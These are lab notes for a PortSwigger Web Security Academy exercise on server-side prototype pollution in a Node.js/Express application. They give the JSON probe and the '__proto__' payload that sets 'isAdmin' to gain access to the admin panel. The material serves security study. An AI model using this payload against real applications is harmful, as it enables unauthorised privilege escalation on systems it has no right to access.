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# Privilege Escalation via Server-Side Prototype Pollution
Privilege Escalation via Server-Side Prototype Pollution notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation conte
### Privilege Escalation via Server-side Prototype Pollution
#### Lab Context
The application (Node.js + Express) **Merges a user-controlled JSON object** in a server-side JavaScript object, **without filtering** dangerous keys such as `__proto__`. / Result: we can **polute `Object.prototype`** and inject properties that will be inherited by other objects.
In this lab, it is easy to spot because **the properties inherited via the prototype chain reappear in the HTTP response**.
### 1) Entry Point (source): JSON Request to Update Address
**Analysis of the request**
When updating the user address, the application sends in the background the following JSON request:
{% code overflow="wrap" %}
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```
{% endcode %}
The server response contains user information, including the sensitive field:
```json
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": false
}
```
**Vulnerability identification**
Adding a special `__proto__` key to the JSON body:
```json
"__proto__": {
"foo":"bar"}
```
The server response reflects the `foo` property.
```json
"foo":"bar"
}
```
This confirms that:
* The server \*\* merges directly the user object\*\*
* **pollution of the global prototype (`Object.prototype`) is possible**
* The inherited properties are visible and exploited
**Operation: increased privileges**
The interesting property here is `isAdmin`, used by the application to determine privileges.
This property is then injected into the global prototype:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
"__proto__": {
"isAdmin": "true"
}
}
```
**Result**
* The `isAdmin` property is now inherited from `Object.prototype`
* During authorisation checks, the application considers the user as \*\* administrator\*\*
* Access to `/admin` panel
---
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